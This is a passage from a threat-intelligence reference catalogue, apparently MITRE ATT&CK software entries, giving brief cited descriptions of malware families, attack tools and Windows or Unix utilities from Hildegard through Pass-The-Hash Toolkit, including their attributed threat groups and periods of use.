S0601HildegardHildegard is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind Hildegard. (Citation: Unit 42 Hildegard Malware)
S0232HOMEFRYHOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors. (Citation: FireEye Periscope March 2018)
S0376HOPLIGHTHOPLIGHT is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)
S0431HotCroissantHotCroissant is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA.(Citation: US-CERT HOTCROISSANT February 2020) HotCroissant shares numerous code similarities with Rifdoor.(Citation: Carbon Black HotCroissant April 2020)
S0040HTRANHTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)
S0070HTTPBrowserHTTPBrowser is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)
S0068httpclienthttpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)
S0203HydraqHydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17.(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015)
S0398HyperBroHyperBro is a custom in-memory backdoor used by Threat Group-3390.(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)
S0537HyperStackHyperStack is a RPC-based backdoor used by Turla since at least 2018. HyperStack has similarities to other backdoors used by Turla including Carbon.(Citation: Accenture HyperStack October 2020)
S1022IceAppleIceApple is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.(Citation: CrowdStrike IceApple May 2022)
S0483IcedIDIcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. IcedID has been downloaded by Emotet in multiple campaigns.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)
S0101ifconfigifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)
S0278iKitteniKitten is a macOS exfiltration agent (Citation: objsee mac malware 2017).
S0434Imminent MonitorImminent Monitor was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.(Citation: Imminent Unit42 Dec2019)
S0357ImpacketImpacket is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. Impacket contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)
S0604IndustroyerIndustroyer is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) Industroyer was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)
S1072Industroyer2Industroyer2 is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in Industroyer. Security researchers assess that Industroyer2 was designed to cause impact to high-voltage electrical substations. The initial Industroyer2 sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.(Citation: Industroyer2 Blackhat ESET)
S0259InnaputRATInnaputRAT is a remote access tool that can exfiltrate files from a victim’s machine. InnaputRAT has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)
S0260InvisiMoleInvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)
S0231Invoke-PSImageInvoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)
S0100ipconfigipconfig is a Windows utility that can be used to find information about a system’s TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)
S0581IronNetInjectorIronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.(Citation: Unit 42 IronNetInjector February 2021 )
S0189ISMInjectorISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)
S0015IxesheIxeshe is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)
S0163JanicabJanicab is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)
S0528JavaliJavali is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)
S0389JCryJCry is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)
S0044JHUHUGITJHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)
S0201JPINJPIN is a custom-built backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)
S0283jRATjRAT is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of jRAT have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)
S0648JSS LoaderJSS Loader is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by FIN7 since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)
S0215KARAEKARAE is a backdoor typically used by APT37 as first-stage malware. (Citation: FireEye APT37 Feb 2018)
S0088KasidetKasidet is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)
S0265KazuarKazuar is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)
S0585KerrdownKerrdown is a custom downloader that has been used by APT32 since at least 2018 to install spyware from a server on the victim’s network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)
S0487KesselKessel is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. Kessel has been active since its C2 domain began resolving in August 2018.(Citation: ESET ForSSHe December 2018)
S1020KevinKevin is a backdoor implant written in C++ that has been used by HEXANE since at least June 2020, including in operations against organizations in Tunisia.(Citation: Kaspersky Lyceum October 2021)
S0387KeyBoyKeyBoy is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)
S0276KeydnapThis piece of malware steals the content of the user’s keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).
S0271KEYMARBLEKEYMARBLE is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)
S1051KEYPLUGKEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.(Citation: Mandiant APT41)
S0526KGH_SPYKGH_SPY is a modular suite of tools used by Kimsuky for reconnaissance, information stealing, and backdoor capabilities. KGH_SPY derived its name from PDB paths and internal names found in samples containing “KGH”.(Citation: Cybereason Kimsuky November 2020)
S0607KillDiskKillDisk is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of BlackEnergy malware during cyber attacks against Ukraine in 2015. KillDisk has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some KillDisk variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)
S0599KinsingKinsing is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)
S0437KivarsKivars is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by BlackTech in a 2010 campaign.(Citation: TrendMicro BlackTech June 2017)
S0250KoadicKoadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. Koadic has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021)
S0641KobalosKobalos is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. Kobalos has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. Kobalos was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)
S0669KOCTOPUSKOCTOPUS’s batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRATKOCTOPUS also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)
S0162KomplexKomplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).
S0156KOMPROGOKOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)
S0356KONNIKONNI is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. KONNI has significant code overlap with the NOKKI malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking KONNI to APT37.(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)
S0236KwampirsKwampirs is a backdoor Trojan used by Orangeworm. It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)
S0349LaZagneLaZagne is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. LaZagne is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)
S0395LightNeuronLightNeuron is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. LightNeuron has been used by Turla to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of LightNeuron exists.(Citation: ESET LightNeuron May 2019)
S0211LinfoLinfo is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)
S0362Linux RabbitLinux Rabbit is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)
S0513LiteDukeLiteDuke is a third stage backdoor that was used by APT29, primarily in 2014-2015. LiteDuke used the same dropper as PolyglotDuke, and was found on machines also compromised by MiniDuke.(Citation: ESET Dukes October 2019)
S0680LitePowerLitePower is a downloader and second stage malware that has been used by WIRTE since at least 2021.(Citation: Kaspersky WIRTE November 2021)
S0681LizarLizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)
IDNameDescription
S0372LockerGogaLockerGoga is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)
S0397LoJaxLoJax is a UEFI rootkit used by APT28 to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)
S0447LokibotLokibot is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. Lokibot can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)
S0582LookBackLookBack is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using LookBack.(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)
S0451LoudMinerLoudMiner is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)
S0042LOWBALLLOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)
S0121LslsassLslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)
S0532LuciferLucifer is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)
S0010LuridLurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)
S0409MacheteMachete is a cyber espionage toolset used by Machete. It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)
S1016MacMaMacMa is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. MacMa has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022)
S1048macOS.OSAMinermacOS.OSAMiner is a Monero mining trojan that was first observed in 2018; security researchers assessed macOS.OSAMiner may have been circulating since at least 2015. macOS.OSAMiner is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.(Citation: SentinelLabs reversing run-only applescripts 2021)(Citation: VMRay OSAMiner dynamic analysis 2021)
S0282MacSpyMacSpy is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).
S1060MafaldaMafalda is a flexible interactive implant that has been used by Metador. Security researchers assess the Mafalda name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s. (Citation: SentinelLabs Metador Sept 2022)
S0413MailSniperMailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)
S0652MarkiRATMarkiRAT is a remote access Trojan (RAT) compiled with Visual Studio that has been used by Ferocious Kitten since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)
S0167MatryoshkaMatryoshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)
S0449MazeMaze ransomware, previously known as “ChaCha”, was discovered in May 2019. In addition to encrypting files on victim machines for impact, Maze operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.(Citation: FireEye Maze May 2020)(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)
S0500MCMDMCMD is a remote access tool that provides remote command shell capability used by Dragonfly 2.0.(Citation: Secureworks MCMD July 2019)
S0459MechaFlounderMechaFlounder is a python-based remote access tool (RAT) that has been used by APT39. The payload uses a combination of actor developed code and code snippets freely available online in development communities.(Citation: Unit 42 MechaFlounder March 2019)
S0175meekmeek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.
S0576MegaCortexMegaCortex is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) MegaCortex has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)
S0530MelcozMelcoz is a banking trojan family built from the open source tool Remote Access PC. Melcoz was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)
S0443MESSAGETAPMESSAGETAP is a data mining malware family deployed by APT41 into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords. (Citation: FireEye MESSAGETAP October 2019)
S1059metaMainmetaMain is a backdoor used by Metador to maintain long-term access to compromised machines; it has also been used to decrypt Mafalda into memory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)
S0455MetamorfoMetamorfo is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019)
S0688MeteorMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called “Indra” since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)
S0339MicropsiaMicropsia is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)
S1015MilanMilan is a backdoor implant based on DanBot that was written in Visual C++ and .NET. Milan has been used by HEXANE since at least June 2020.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)
S0002MimikatzMimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)
S0179MimiPenguinMimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)
S0133Miner-CMiner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)
S0051MiniDukeMiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)
S0280MirageFoxMirageFox is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)
S0084Mis-TypeMis-Type is a backdoor hybrid that was used in Operation Dust Storm by 2012.(Citation: Cylance Dust Storm)
S0083MisdatMisdat is a backdoor that was used in Operation Dust Storm from 2010 to 2011.(Citation: Cylance Dust Storm)
S0080MivastMivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)
S0079MobileOrderMobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)
S0553MoleNetMoleNet is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)
S1026MongallMongall is a backdoor that has been used since at least 2013, including by Aoqin Dragon.(Citation: SentinelOne Aoqin Dragon June 2022)
S0149MoonWindMoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)
S0284More_eggsMore_eggs is a JScript backdoor used by Cobalt Group and FIN6. Its name was given based on the variable “More_eggs” being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)
S1047MoriMori is a backdoor that has been used by MuddyWater since at least January 2022.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)
S0256MosquitoMosquito is a Win32 backdoor that has been used by TurlaMosquito is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)
S0233MURKYTOPMURKYTOP is a reconnaissance tool used by Leviathan. (Citation: FireEye Periscope March 2018)
S0699MythicMythic is an open source, cross-platform post-exploitation/command and control platform. Mythic is designed to “plug-n-play” with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed Mythic C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)
S0205NaidNaid is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)
S0228NanHaiShuNanHaiShu is a remote access tool and JScript backdoor used by LeviathanNanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)
S0336NanoCoreNanoCore is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)
S0637NativeZoneNativeZone is the name given collectively to disposable custom Cobalt Strike loaders used by APT29 since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)
S0247NavRATNavRAT is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)
S0590NBTscanNBTscan is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)
S0102nbtstatnbtstat is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)
S0272NDiskMonitorNDiskMonitor is a custom backdoor written in .NET that appears to be unique to Patchwork. (Citation: TrendMicro Patchwork Dec 2017)
S0630NebulaeNebulae Is a backdoor that has been used by Naikon since at least 2020.(Citation: Bitdefender Naikon April 2021)
S0691NeoichorNeoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)
S0210NerexNerex is a Trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)
S0039NetThe Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)

Net has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through SMB/Windows Admin Shares using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user.
S0056Net CrawlerNet Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. (Citation: Cylance Cleaver)
S0034NETEAGLENETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)
S0108netshnetsh is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)
S0104netstatnetstat is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)
S0033NetTravelerNetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)
S0457NetwalkerNetwalker is fileless ransomware written in PowerShell and executed directly in memory.(Citation: TrendMicro Netwalker May 2020)
S0198NETWIRENETWIRE is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)
S0508NgrokNgrok is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. Ngrok has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)
S0118NidiranNidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)
S0385njRATnjRAT is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)
S0359NltestNltest is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)
S0353NOKKINOKKI is a modular remote access tool. The earliest observed attack using NOKKI was in January 2018. NOKKI has significant code overlap with the KONNI malware family. There is some evidence potentially linking NOKKI to APT37.(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)
S0368NotPetyaNotPetya is malware that was used by Sandworm Team in a worldwide attack starting on June 27, 2017. While NotPetya appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)
S0644ObliqueRATObliqueRAT is a remote access trojan, similar to Crimson, that has been in use by Transparent Tribe since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)
S0346OceanSaltOceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.(Citation: McAfee Oceansalt Oct 2018)
S0340OctopusOctopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)
S0439OkrumOkrum is a Windows backdoor that has been seen in use since December 2016 with strong links to Ke3chang.(Citation: ESET Okrum July 2019)
S0138OLDBAITOLDBAIT is a credential harvester used by APT28. (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)
S0365Olympic DestroyerOlympic Destroyer is malware that was used by Sandworm Team against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. Olympic Destroyer has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020)
S0052OnionDukeOnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)
S0264OopsIEOopsIE is a Trojan used by OilRig to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)
S0229OrzOrz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)
S0165OSInfoOSInfo is a custom tool used by APT3 to do internal discovery on a victim’s computer and network. (Citation: Symantec Buckeye)
S0402OSX/ShlayerOSX/Shlayer is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)
S0352OSX_OCEANLOTUS.DOSX_OCEANLOTUS.D is a MacOS backdoor with several variants that has been used by APT32.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)
S0594Out1Out1 is a remote access tool written in python and used by MuddyWater since at least 2021.(Citation: Trend Micro Muddy Water March 2021)
S1017OutSteelOutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Ember Bear since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
S0072OwaAuthOwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)
S0598P.A.S. WebshellP.A.S. Webshell is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)
S0016P2P ZeuSP2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)
S0626P8RATP8RAT is a fileless malware used by menuPass to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)
S0664PandoraPandora is a multistage kernel rootkit with backdoor functionality that has been in use by Threat Group-3390 since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)
S0208PasamPasam is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)
S0122Pass-The-Hash ToolkitPass-The-Hash Toolkit is a toolkit that allows an adversary to “pass” a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)
